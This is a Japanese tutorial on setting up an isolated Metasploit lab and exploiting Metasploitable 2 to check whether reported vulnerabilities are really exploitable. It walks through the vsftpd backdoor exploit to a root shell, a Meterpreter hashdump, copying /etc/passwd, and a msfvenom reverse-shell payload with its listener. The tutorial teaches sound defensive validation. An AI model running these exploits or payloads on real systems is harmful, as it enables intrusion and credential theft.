LinuxでMetasploit Framework：合法的なラボ環境でのペネトレーションテスト実践

Table of Contents

マネジメントが必ず聞いてくること

セキュリティチームがCVEを報告する。マネジメントは「実際に脆弱なのか？」と聞いてくる。NVDを確認し、アドバイザリを読み、Nessusスキャンをかけても——明確な答えが出ない。スキャナーは「悪用される可能性がある」と教えてくれる。エクスプロイトフレームワークは「実際に悪用できるか」を教えてくれる。

「脆弱かもしれない」と「悪用可能と確認済み」の間にあるギャップ——ここでほとんどのチームが自信を失う。筆者はこのギャップを埋めるために、週末を使ってまともなMetasploitラボを構築した。結果として、推測をやめて証明できるようになった。その全手順を紹介する。

スキャナーだけでは不十分な理由

脆弱性スキャナーは広範囲のカバレッジには優れているが、深さがない。サービスのフィンガープリントを取り、CVEシグネチャと照合し、深刻度をスコアリングする。シェルは奪えない。

ファイアウォールルールの内側にサービスがある場合、別のパッケージ名でパッチが当たっている場合、あるいはエクスプロイトパスをブロックするような設定ミスがある場合、CVSS 9.8の検出結果は何の意味も持たない。攻撃者のネットワークセグメントから脆弱なポートにまったく到達できないホストで、NessusがクリティカルなRCEを報告するケースを筆者は実際に見てきた。

ほとんどの組織は理論上の問題点を把握している。しかし実際に到達可能かどうかを検証しているチームは少ない。Metasploitはそのギャップを埋める——本物の攻撃者が本番環境でやる前に、制御された環境で攻撃者の正確な手順をシミュレートできる。OpenVAS/Greenboneによる脆弱性管理と組み合わせることで、発見から検証まで一貫したワークフローを構築できる。

制御されたという点が重要だ。このガイドのすべては隔離されたラボ環境で実行する。自分が所有していないシステムへのエクスプロイトは違法だ。自社インフラに対して実施する場合は、必ず書面による承認を取得すること。

Metasploitを実行する3つの方法

実際のニーズに応じてインストール方法を選択する：

Kali Linux（プリインストール） — 最も簡単な入口。Metasploitはすぐに使える状態で入っており、セットアップ不要。デメリット：メインマシンまたはVMに専用ディストロを導入する必要がある。
Ubuntu/Debianへの手動インストール — より高い制御性。既存のツール環境を壊さずに共存できる。セットアップに必要なのは10分程度。
Metasploit Pro（商用版） — Web UI、自動化キャンペーン、チームワークスペース。エンタープライズの案件には有効。個人ラボには完全にオーバースペック。

内部構造を学ぶなら、専用のUbuntu VMへの手動インストールが最適だ。何が動いていてなぜ動いているかが明確にわかる。コマンドは実際の案件で使うものと直接対応している。

ラボ環境のセットアップ

最低2台のVM、同じ隔離された仮想ネットワーク上に配置：

攻撃マシン：Ubuntu 22.04 LTS（またはKali）
ターゲットマシン：Metasploitable 2または3——まさにこの目的のために作られた意図的に脆弱なVM

VMwareまたはVirtualBoxを使用し、ホストオンリーまたは内部ネットワークアダプターを設定する。ターゲットへのインターネットアクセスは完全に遮断すること。パブリックIPを持つ意図的に脆弱なマシンはラボではなく、リスクの塊だ。

UbuntuへのMetasploitのインストール

Rapid7の公式インストーラーが依存関係をすべてきれいに処理してくれる。手動でaptを操作する必要はない：

# Rapid7インストーラーをダウンロードして実行する
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

次に、データベースを初期化する。MetasploitはPostgreSQLを使用して、実行をまたいでホスト、サービス、収集データ、セッション情報を保存する：

# PostgreSQLを起動してmsfdbを初期化する
sudo systemctl start postgresql
sudo msfdb init

# コンソールを起動する
msfconsole

初回起動はモジュールの読み込みに30〜60秒かかる。msf6 >プロンプトが表示されれば準備完了だ。何か操作する前にデータベースが接続されていることを確認する：

msf6 > db_status
# 期待される出力: Connected to msf. Connection type: postgresql.

データベースが接続されていない場合、セッションとスキャン結果が保持されない。まずこれを修正すること。

初めての実践エクスプロイト：Metasploitable 2 ウォークスルー

Metasploitable 2はデフォルト認証情報（msfadmin:msfadmin）と既知の脆弱性の山を抱えた状態で起動する。ブートしてIPを確認し——ここでは192.168.56.101を使用——攻撃マシンから操作を開始する。

ステップ1：db_nmapによる偵察

nmapを別々に実行する必要はない。Metasploitのデータベースに直接パイプして、結果をすぐに参照できる状態にする：

msf6 > db_nmap -sV -sC -O 192.168.56.101

ホストとサービスは自動的に保存される。検出された内容を確認する：

msf6 > hosts
msf6 > services

Metasploitable 2では通常、20以上のオープンポートが見つかる：FTPが21番、SSHが22番、HTTPが80番、SMBが445番、PostgreSQLが5432番、そして2025年現在どこにも存在すべきでないレガシーサービスがいくつか。

ステップ2：エクスプロイトの選択

Metasploitable 2はvsftpd 2.3.4を実行している——2011年にソースディストリビューションに侵入した攻撃者によって意図的にバックドアが仕込まれたバージョンだ。検索してみる：

msf6 > search vsftpd

# 出力:
# 0  exploit/unix/ftp/vsftpd_234_backdoor  ...  excellent  Yes

モジュールをロードして必要な設定を確認する：

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > info
msf6 exploit(vsftpd_234_backdoor) > options

ステップ3：設定して実行

msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(vsftpd_234_backdoor) > run

# 成功した場合:
# [*] Command shell session 1 opened
# id
# uid=0(root) gid=0(root)

30秒以内にrootシェルが取れた。vsftpdのバックドアは14年前のものだ——それでも「古い＝パッチ済み」と思い込んでいる企業の内部監査で今でも見つかる。思い込みはパッチではない。

セッションとポストエクスプロイテーション

シェルを取るのはステップ1に過ぎない。Metasploitの真の深みはその後にある。セッションをバックグラウンドに回して探索を始める：

# 現在のセッションをバックグラウンドに移す
Ctrl+Z

# アクティブなセッション一覧を表示する
msf6 > sessions -l

# 基本シェルをMeterpreterにアップグレードする
msf6 > sessions -u 1

# セッションに接続する
msf6 > sessions -i 1

Meterpreterは生のシェルではなく、構造化されたポストエクスプロイテーションを提供する：

meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump          # /etc/shadowのハッシュをダンプする
meterpreter > download /etc/passwd /tmp/loot/
meterpreter > run post/linux/gather/enum_system

enum_systemモジュール単体でカーネルバージョン、インストール済みパッケージ、cronジョブ、sudo設定、ネットワークインターフェース——横展開する前に攻撃者がプロファイリングするすべての情報を引き出せる。攻撃者がこれらの情報を使って何をするかを理解するには、Linuxインシデントレスポンスの実戦ガイドも参照されたい。

実際に機能するワークフロー

複数のラボ環境でこれを実践した結果、脆弱性検証のプロセスとして標準化したのが以下だ：

まずスキャン、エクスプロイトはその後。何かに触れる前に必ずdb_nmapを実行する。システム状態を変える前に発見した内容を記録する。
ワークスペースを使う。ターゲットを分離する。workspace -a project_nameで新しい名前空間を作り、ラボデータが案件間で混在しないようにする。
すべてをログに記録する。Metasploitのspoolコマンドでセッションをディスクに書き出す。実際の案件ではレポートがこれに依存する：spool /tmp/msf_session.log。システムレベルの操作履歴を残したい場合は、Auditdによるシステム監査ログとの併用も効果的だ。
後片付けをする。変更内容を記録し、元の状態に戻す。ラボではVMスナップショットをリバートする。本番環境ではテストした永続化メカニズムをすべて削除する。

筆者が最初につまずいたこと：ほとんどのMetasploitモジュールにはcheckコマンドがあり、実際にエクスプロイトせずに脆弱性をテストできる。不確かな状況ではこれを使う——取り返しのつかない操作をする前に確認が取れる：

msf6 exploit(ms17_010_eternalblue) > check
# [+] 192.168.56.102:445 - The target is vulnerable.

ラボにおける認証情報とアクセス管理

スナップショットを作成・削除を繰り返すラボVMのパスワード管理はすぐに煩雑になる。サーバーやVMのパスワードにはtoolcraft.app/ja/tools/security/password-generatorのパスワードジェネレーターを使っている。ブラウザ上でクライアントサイドで動作するため、マシンの外に情報が出ない。セキュリティラボでは、ツールの品質も重要だ——攻撃的技術を学習している最中に外部に情報を送信するパスワードマネージャーは使いたくない。

時間をかける価値があるモジュール

基本的なエクスプロイトのワークフローが理解できたら、実際のラボ作業で最もよく登場するモジュールを紹介する：

auxiliary/scanner/portscan/tcp — msfconsoleに組み込まれたTCPスキャナー。結果をデータベースに直接パイプしたい場合に便利。
auxiliary/scanner/smb/smb_ms17_010 — 単一のエクスプロイトにも触れずに、サブネット全体でEternalBlueを確認する。
post/multi/recon/local_exploit_suggester — 低権限シェルを取った後に実行する。カーネルバージョンとインストール済みパッケージを取得し、モジュールデータベースからローカル権限昇格のパスを提案する。
exploit/multi/handler — msfvenomで生成したペイロードからのリバースシェルを受け取る。

msfvenomでペイロードを生成してハンドラーで受け取る：

# Linuxリバースシェルペイロードを生成する
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=4444 -f elf -o shell.elf

# 攻撃マシンでリスナーをセットアップする
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.100
msf6 > set LPORT 4444
msf6 > run

ターゲットがshell.elfを実行すると、ハンドラーに接続が戻ってくる。実際の攻撃者が使うのと同じメカニズムだ——だからこそ自分の防御に対してテストすることに意味がある。

発見したことをどう活かすか

ラボの発見事項は行動を生まなければ価値がない。確認された各エクスプロイトについて、4つのことを記録する：

影響を受けるサービス、バージョン、CVE識別子
使用したエクスプロイトパス（モジュール名、ペイロード、必要なネットワーク上の位置）
ポストエクスプロイテーションで攻撃者がアクセスできるもの
修正方法：パッチバージョン、設定変更、または補完的な制御

この出力はチームに具体的なものを提供する——CVSSスコアだけでコンテキストのないスキャナーレポートとは違う。合法的なラボ環境でのエクスプロイテーションによるセキュリティ検証こそが、実際のリスクを理解しているチームと、リスクを推測しているだけのチームを分けるものだ。検証後はLynisによる自動セキュリティ監査で修正漏れがないか定期的に確認することを強く推奨する。